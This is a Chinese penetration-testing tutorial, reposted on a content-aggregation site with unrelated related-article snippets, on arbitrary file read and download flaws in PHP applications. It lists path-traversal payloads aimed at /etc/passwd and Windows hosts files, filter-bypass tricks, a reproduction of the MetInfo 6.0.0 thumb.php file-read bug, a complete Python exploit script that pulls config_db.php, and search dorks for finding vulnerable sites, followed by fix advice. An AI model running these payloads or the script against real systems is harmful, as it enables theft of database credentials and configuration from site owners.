网站建设好后能直接打开吗上海仓储公司

web/2025/10/3 23:35:33/文章来源:
网站建设好后能直接打开吗,上海仓储公司,网站建设网页设计做网站,最新新闻事件今天国内大事文章目录 渗透测试漏洞原理任意文件读取1. 任意文件读取概述1.1 漏洞成因1.2 漏洞危害1.3 漏洞分类1.4 任意文件读取1.4.1 文件读取1.4.2 任意文件读取1.4.3 权限问题 1.5 任意文件下载1.5.1 一般情况1.5.2 PHP实现1.5.3 任意文件下载 2. 任意文件读取攻防2.1 路径过滤2.1.1 过… 文章目录 渗透测试漏洞原理任意文件读取1. 任意文件读取概述1.1 漏洞成因1.2 漏洞危害1.3 漏洞分类1.4 任意文件读取1.4.1 文件读取1.4.2 任意文件读取1.4.3 权限问题 1.5 任意文件下载1.5.1 一般情况1.5.2 PHP实现1.5.3 任意文件下载 2. 任意文件读取攻防2.1 路径过滤2.1.1 过滤../ 2.2 简单绕过2.2.1 双写绕过2.2.2 绝对路径2.2.3 使用..\2.2.4 设置白名单 3. 任意文件读取挖掘3.1 手工挖掘3.2 经典案例metlnfo_6.0.0_file-read3.2.1 漏洞描述3.2.2 漏洞等级3.2.3 影响版本3.2.4 漏洞复现3.2.5 漏洞点分析3.2.6 深度利用3.2.7 修复建议 4. 漏洞修复方案4.1 输入验证4.2 避免其他漏洞4.3 限定文件的访问范围 渗透测试漏洞原理 任意文件读取 1. 任意文件读取概述 一些网站的需求可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过就可以查看或下载任意文件。这些文件可以是源代码文件配置文件敏感文件等等。 任意文件读取会造成敏感信息泄露任意文件读取很多情况是由于其他漏洞引发的如RCE、目录遍历、文件包含等。任意文件读取与任意文件下载本质上没有区别信息都是从服务端流向浏览器的。 任意文件读取与下载可能形式不同但是从本质上讲读取与下载没有区别从权限角度来讲读取与下载都需要读权限。 1.1 漏洞成因 不管是任意文件读取还是任意文件下载触发漏洞的条件都是相同的 存在读取文件的功能函数也就是说Wb应用开放了文件读取功能读取文件的路径客户端可控完全控制或影响文件路径参数没有对文件路径进行校验或者校验不严导致校验被绕过输出了文件的内容。 1.2 漏洞危害 下载服务器任意文件包括源代码文件、系统敏感文件、配置文件等等。 可以配合其他漏洞构成完整攻击链。对源代码文件进行代码审计查找更多的漏洞。 任意文件读取与下载重点关注的文件 源代码配置文件敏感文件日志文件… 1.3 漏洞分类 任意文件读取任意文件下载 1.4 任意文件读取 以PHP脚本为例子有一些函数可以实现文件读取功能。 1.4.1 文件读取 读取文件的函数函数特点readfile()直接读取文件内容自带输出功能feed()直接读取文件内容需要输出读取内容fread()打开文件计算文件大小读取文件输出文件关闭文件 函数具体介绍PHP: Hypertext Preprocessor。 实验环境在phpstudy的www目录下创建一个file-read目录在目录中创建一下php文件。 readfile // readfile.php ?php$fp ../phpinfo.php; readfile($fp); ?访问页面查看页面源代码读取成功。 file_get_contents // file_get_contents.php ?php$fp ../phpinfo.php; echo file_get_contents($fp); ?访问页面查看页面源代码读取成功。 fread // fread.php ?php$fp ../phpinfo.php;$f fopen($fp,r); //打开文件$f_size filesize($fp); //计算文件大小echo fread($f, $f_size); //读取文件内容并输出到页面上fclose($f); ?访问页面查看页面源代码读取成功。 1.4.2 任意文件读取 变量$fp,会捕获GET方式传递过来的filepath参数。 $fp $_GET[filepath];filepath客户端可控并且没有经过校验会造成任意文件读取漏洞。 ?filepathindex.php ?filepath/etc/passwd ?filepathc:\windows\system32\drivers\etc\hosts ?filepathc:\phpstudy_2016\apache\conf\httpd.conf ?filepathc:\phpstudy_2016\mysql\my.ini?filepath../../../../../../../../../../phpstudy_2016/www/phpinfo.php ?filePath../../../../../../../../windows\system32\drivers\etc\hosts ?filePath../../../../../../etc/hosts1.4.3 权限问题 Windows IIS ASP/ASPX低权限Windows Apache php高权限Windows Java高权限Linux Apache PHP低权限Linux Nginx PHP不一定Linux Java高权限 1.5 任意文件下载 1.5.1 一般情况 直接下载例如图片另存为。 a标签下载 a href ./a.jpgIMG Download/a1.5.2 PHP实现 PHP文件下载实现过程 先读取文件在输出文件提供下载 // file-download.php?php$fp ./a.jpg;header(Content-Type:image/jpg);header(Content-Disposition:attachment;fileName.basename($fp));readfile($fp); ?1.5.3 任意文件下载 任意文件下载的条件 已知目标文件路径目标文件路径客户端可控没有经过校验或校验不严格 $fp $_GET[filepath];实验 ?php$fp $_GET[filepath];// header(Content-Type:image/jpg);header(Content-Disposition:attachment;fileName.basename($fp));readfile($fp); ?下载成功 文件内容如下 2. 任意文件读取攻防 2.1 路径过滤 2.1.1 过滤…/ ?php$fp $_GET[filepath];$fp str_replace(../,,$fp); readfile($fp); ?2.2 简单绕过 2.2.1 双写绕过 ?filepath..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts2.2.2 绝对路径 ?filepathc:/windows\system32\drivers\etc\hosts2.2.3 使用…\ ?filepath..\..\..\..\..\windows\system32\drivers\etc\hosts2.2.4 设置白名单 设置只能访问a,b,cPHP文件 ?php$fp $_GET[filepath];if($fp a.php or $fp b.php or $fp c.php){readfile($fp);}else{echo Please stop!;} ?3. 任意文件读取挖掘 3.1 手工挖掘 从文件名上看从参数名上看readfile.phpfiledownload.phpfilelist.phpffilefilepathfpreadfilepathreadpath url menuMETA-INF WEB-INFcontent 3.2 经典案例metlnfo_6.0.0_file-read 下载链接MetInfo历史版本与文件。 说明内容漏洞编号–漏洞名称MetInfo 6.0.0 任意文件读取漏洞漏洞评级高危影响范围MetInfo 6.0.0漏洞描述MetInfo 存在任意文件读取漏洞攻击者利用该漏洞 在具有权限的情况下可以读取网站任意文件包括配置文件等敏感文件。修复方案打补丁 升级 上设备 3.2.1 漏洞描述 MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。 3.2.2 漏洞等级 高危 3.2.3 影响版本 MetInfo 6.0.0 3.2.4 漏洞复现 基础环境 组件版本OSMicrosoft Windows Server 2016 StandardWeb ServerphpStudy 2016MetInfo6.0.0 安装过程 访问页面 漏洞点 /include/thumb.php页面访问该路径 http://127.0.0.1/MetInfo_6.0.0/include/thumb.php使用bp抓包查看bp是默认不抓图片的包这里修改配置。 将抓取到的数据包右键发送到重发器上。 第一次测试 /include/thumb.php?dir..././http/..././config/config_db.php第二次测试 /include/thumb.php?dir.....///http/.....///config/config_db.php第三次测试 /include/thumb.php?dirhttp/.....///.....///config/config_db.php第四次测试 /include/thumb.php?dirhttp\..\..\config\config_db.php注意 此POC 仅适用于Windows 系统Linux 下无效。 因为输入的右斜线\在windows中作为目录的分隔符而linux中不是。 3.2.5 漏洞点分析 漏洞点产生位置在thumb.php文件 加载old_thumb类 说明这里的防守做两步判断 将…/和./全部过滤为空。 if判断前四个字符必须是http并且计算./的位置也就是提交的dir变量中是否有./的出现如果没有出现返回false。 readfile()任意文件读取函数 dir这个读取文件的路径客户端可控但是不完全可控限制可以被绕过。 3.2.6 深度利用 exp编写 import requests import sysbanner MetInfo 6.0.0___________.__.__ __________ .___\_ _____/|__| | ____ \______ \ ____ _____ __| _/| __) | | | _/ __ \ | _// __ \\__ \ / __ | | \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ | \___ / |__|____/\___ |____|_ /\___ ____ /\____ | \/ \/ \/ \/ \/ \/ Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/ headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 }dir_list [..././http/..././config/config_db.php,.....///http/.....///config/config_db.php,http/.....///.....///config/config_db.php,http\..\..\config\config_db.php ]def attack(host):vul /include/thumb.phpurl host vulres requests.get(url url, headers headers)if res.status_code ! 200:print(f[INFO] {vul} is Not Exists!)exit()print(f[INFO] {vul} is Exists!)for param in dir_list:params {dir: param }res requests.get(url url, params params, headers headers)print(f[INFO] Test URL: {res.url})if ?php in res.text:print([RESULT] The target is vulnreable!)print(f[RESULT]\n{res.text})breakif len(sys.argv) 2:print(banner)exit()host sys.argv[1]attack(host host)漏洞挖掘 指纹信息 传统搜索引擎 Powered by MetInfo 6.0.0 intext:Powered by MetInfo 6.0.0 inurl:twFOFA appmetinfoZoomEye app:MetInfo app:MetInfoos:Windows3.2.7 修复建议 打补丁升级上设备 4. 漏洞修复方案 4.1 输入验证 让web用户只能访问读取所需要的文件和路径。 4.2 避免其他漏洞 不能有文件包含漏洞目录遍历漏洞或其他漏洞。 4.3 限定文件的访问范围 让用户不能访问Web根目录以外的路径。 php.ini配置文件中可以通过选项open_basedir来限定文件访问的范围。 open_basedir C:\software\phpstudy_pro\WWW实验 不做限定的情况 做限定的情况 但是这样还有读取到当前的配置文件。 解决方式所有的修复方案需要配合使用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/86474.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

汉中网站建设电话海外cdn

日期函数主要介绍两个大类,Extract() 和 Trunc() Extract() 函数作用是提取日期,比如我们可以提取一个日期字段的年份,月份,日等数据 Trunc() 的作用则是截取,比如 2022-06-18 12:12:12,我们可以根据需求…

建设银行网站号设计师网上接单的网站

在单线程程序中,每次只做一件事情,后面的事情需要等待前面这件事情完成才可以进行 如果是多线程程序,这件事情还没做完就又做另外一件事情,这就可能发生两个线程抢占资源的问题 例如:a与b两个人都要去洗手间&#xf…

怎么买网站空间群晖wordpress内外网访问

🎬 秋野酱:《个人主页》 🔥 个人专栏:《Java专栏》《Python专栏》 ⛺️心若有所向往,何惧道阻且长 文章目录 程序结构GPIO操作UART操作接收逻辑发送 以下模板代码均基于官方2023.07.17版本。 程序结构 #include "Config.h" #inc…

网站建设方案书一定要有吗it外包人员最后什么下场

kotlin.collections.Maps.kt 文件定义了许多针对 Map 接口的工具函数,其中大多数是涉及函数式编程的高阶函数,我们在这里先不讲,等到集合框架结束后进入高阶函数时再讲。今天只讲几个简单的函数。Pair 类和 to() 函数Map 接口表示一种“键 -&…

高端网站开发哪家专业wordpress 2个主题

我最近发表了一篇有关如何将非事务性资源(如Web服务/微服务)绑定到全局分布式事务中的文章,以便自动处理恢复。 多年来,我经常不得不将“非事务性”系统集成到Java EE应用程序服务器中,而数据一致性通常是讨论的话题&a…

企业营销型网站建设品牌出口外贸交易平台

本文作者陈计节,ThoughtWorks 高级咨询师。多年的跨平台 .NET 开发者,全栈工程师,技术布道师。擅长互联网应用程序的设计、开发和运维等工作。 近年来,微软坚持为社区提供更多灵活性,并以更开放的思路重构其已有平台&a…

网站建设的前景网站建设包括哪方面

近来,“元宇宙”成为热门话题,越来越频繁地出现在人们的视野里。大家都在谈论它,但似 乎还没有一个被所有人认同的定义。元宇宙究竟是什么?未来它会对我们的工作和生活带来什么样 的改变?当谈论虚拟现实(VR…

电商网站建设哪家公司好seo站外推广有哪些

当发现产品的制造环节,以及因产品模型本身的设计而导致制造环节存在不合理性,从而导致加工制造成本增加。 快速判断,轻松协作 在达索系统3DEXPERIENCE WORKS 2024中我们可以快速的判断产品的可制造性,以及快速与前端设计沟通协作…

郑州网站排名服务ppt模板免费下载素材网站

目录 1、用CString的方式: 2、用 string 方式 前言: 有些字符串直接打印出来是乱码,显示不出来。于是要转为十六进制的字符,再打印出来。 C语言字符串转换为16进制:自定义转换函数 1、用CString的方式: …

热 动漫-网站正在建设中-手机版6公司网站建设发展趋势

Hilt 是 Android 的依赖项注入库,可减少在项目中执行手动依赖项注入的样板代码。执行手动依赖项注入要求您手动构造每个类及其依赖项,并借助容器重复使用和管理依赖项。依赖注入的英文是Dependency Injection,简称DI,简单说一个类中使用的依赖…

做推广自己找网站大连建设执业资格注册中心网站

设置了根域名访问为testServlet,让他重定向到首页为test.jsp,事实上也都触发了,但是最后显示的为什么不是test.jsp生成页面,依然还是index.jsp生成的页面?? 重定向是通过Dispatcher进行的,而不是sendRedir…

张家界旅游网站官网网站目录不能访问

什么是递归? (define length(lambda (l)(cond((null? l) 0)(else (add1 (length (cdr l)))))))以上是length函数的实现用递归的形式计算出数据集合l的长度。 如果没有define这种赋值操作我们怎么定义length函数?换句话说我们怎么使用匿名函数完成递归…

外贸建英文网站的重要性广东深圳龙岗区天气

> 作者:დ旧言~ > 座右铭:松树千年终是朽,槿花一日自为荣。 > 目标:理解【Linux】多线程——线程概念|进程VS线程|线程控制 > 毒鸡汤:有些事情,总是不明白,所以我不会坚持。早安! &…

东阿聊城做网站的公司北京推广平台

全世界只有3.14 % 的人关注了爆炸吧知识作业太少吃得太饱特斯拉是外星人吗?偶然点开这个问题,让超模君震惊得心律不齐。作为人类有史以来最伟大的科学家之一,特斯拉一度被称为“最接近神的人”。但估计特斯拉本人也没有想到,在他长…

asp的公司网站开源免费cms可商业用

描述 有2000001块石头放在一条数线上。这些石子的坐标是 −1000000,−999999,−999998,…,999999,1000000。 其中一些连续的 K 个石子被涂成黑色,其他的被涂成白色。 此外,我们还知道位于坐标 X 的石子被涂成了黑色。 按升序打印所有可能包含被涂成黑…

怎样创立一个网站排版设计素材

现象&#xff1a; 1、点击遮罩弹窗关闭&#xff0c;弹窗的视频已经用v-if销毁&#xff0c;但是后台会自己从头开始播放视频声音。但是此时已经没有视频dom 2、定时器在打开弹窗后3秒自动关闭弹窗&#xff0c;则正常没有问题。 原来的代码&#xff1a; //页面 <a click&quo…

泵阀网站建设网站建设数据库怎么弄

给定一个原串和目标串&#xff0c;能对源串进行如下操作&#xff1a; 1.在给定位置插入一个字符 2.替换任意字符 3.删除任意字符 要求完成一下函数&#xff0c;返回最少的操作数&#xff0c;使得源串进行这些操作后等于目标串。源串和目标串长度都小于2000。动态创建的了二维…

网站提交工具seo关键词排名优化哪好

declare global 如果&#xff0c;要在全局作用域中声明一个新的变量或函数&#xff0c;供整个项目中的多个模块使用。可以使用 declare global 来实现。 在一个全局声明文件中&#xff0c;如 globals.d.ts declare global {var globalVar: numberfunction globalFunction(): …

高端网站定制费用是多少网站中常用的英文字体

将变量包装在对象中 不要使用 console.log(url, url2, baz)&#xff0c;而是使用 console.log({ url, url2, baz })。 如果你比较这两者&#xff0c;你会发现这有多么有用&#xff1a;拥有 url 和 url2 键可以避免这两个 URL 之间的混淆。 在日志前加上唯一字符串前缀 在应用…

浙江省城乡建设网站个人网站下载

目录 一、性能指标 二、jmeter &#xff08;一&#xff09;JMeter 安装 &#xff08;二&#xff09;JMeter 压测示例 1、添加线程组 2、添加 HTTP 请求 3、添加监听器 4、启动压测&查看分析结果 &#xff08;三&#xff09;JMeter Address Already in use 错误解决 压力测…